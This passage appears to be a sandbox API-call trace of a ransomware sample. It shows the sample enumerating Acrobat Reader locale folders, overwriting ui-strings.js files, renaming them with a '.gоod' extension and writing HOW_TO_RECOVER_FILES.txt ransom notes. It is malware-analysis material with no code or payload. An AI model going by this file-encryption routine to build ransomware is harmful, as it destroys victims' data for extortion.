ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.299] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0178.300] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0178.300] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0178.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0178.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0178.300] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0178.300] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35f8798 | out: lpFileInformation=0x35f8798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f4d)) returned 1 [0178.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0178.300] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.300] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.301] GetFileType (hFile=0x768) returned 0x1 [0178.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.301] GetFileType (hFile=0x768) returned 0x1 [0178.301] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0178.301] ReadFile (in: hFile=0x768, lpBuffer=0x35f8c80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35f8c80*, lpNumberOfBytesRead=0x1ffebaa8*=0xf4d, lpOverlapped=0x0) returned 1 [0178.302] CloseHandle (hObject=0x768) returned 1 [0178.302] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.302] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.303] GetFileType (hFile=0x768) returned 0x1 [0178.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.303] GetFileType (hFile=0x768) returned 0x1 [0178.303] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1f4d [0178.303] WriteFile (in: hFile=0x768, lpBuffer=0x35f9fa0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35f9fa0*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0178.303] CloseHandle (hObject=0x768) returned 1 [0178.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.303] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.303] GetFileType (hFile=0x768) returned 0x1 [0178.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.303] GetFileType (hFile=0x768) returned 0x1 [0178.303] ReadFile (in: hFile=0x768, lpBuffer=0x35fc2c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x35fc2c8*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0178.412] CloseHandle (hObject=0x768) returned 1 [0178.412] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.412] GetFileType (hFile=0x768) returned 0x1 [0178.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.412] GetFileType (hFile=0x768) returned 0x1 [0178.412] WriteFile (in: hFile=0x768, lpBuffer=0x34413f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x34413f8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0178.413] CloseHandle (hObject=0x768) returned 1 [0178.413] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.413] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0178.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0178.413] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x668d43a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f5d)) returned 1 [0178.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0178.413] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js.gоod")) returned 1 [0178.420] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0178.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0178.420] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\cs-cz\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0178.422] GetFileType (hFile=0x768) returned 0x1 [0178.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0178.422] GetFileType (hFile=0x768) returned 0x1 [0178.422] WriteFile (in: hFile=0x768, lpBuffer=0x3499530*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3499530*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0178.423] CloseHandle (hObject=0x768) returned 1 [0178.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0178.423] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk", lpFilePart=0x0) returned 0x6a [0178.424] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0178.424] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.424] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0178.424] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0178.424] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0178.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0178.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0178.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0178.424] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk", lpFilePart=0x0) returned 0x6a [0178.425] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0178.425] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.425] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0178.425] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0178.425] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0178.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0178.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0178.425] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0178.425] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34a9198 | out: lpFileInformation=0x34a9198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d80)) returned 1 [0178.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0178.426] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.426] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.427] GetFileType (hFile=0x768) returned 0x1 [0178.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.427] GetFileType (hFile=0x768) returned 0x1 [0178.427] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0178.427] ReadFile (in: hFile=0x768, lpBuffer=0x34a9680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34a9680*, lpNumberOfBytesRead=0x1ffebaa8*=0xd80, lpOverlapped=0x0) returned 1 [0178.430] CloseHandle (hObject=0x768) returned 1 [0178.430] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.431] GetFileType (hFile=0x768) returned 0x1 [0178.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.431] GetFileType (hFile=0x768) returned 0x1 [0178.431] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1d80 [0178.431] WriteFile (in: hFile=0x768, lpBuffer=0x34aabf0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x34aabf0*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0178.431] CloseHandle (hObject=0x768) returned 1 [0178.431] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.431] GetFileType (hFile=0x768) returned 0x1 [0178.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.431] GetFileType (hFile=0x768) returned 0x1 [0178.431] ReadFile (in: hFile=0x768, lpBuffer=0x34acf18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x34acf18*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0178.748] CloseHandle (hObject=0x768) returned 1 [0178.748] GetFullPathNameW (in: 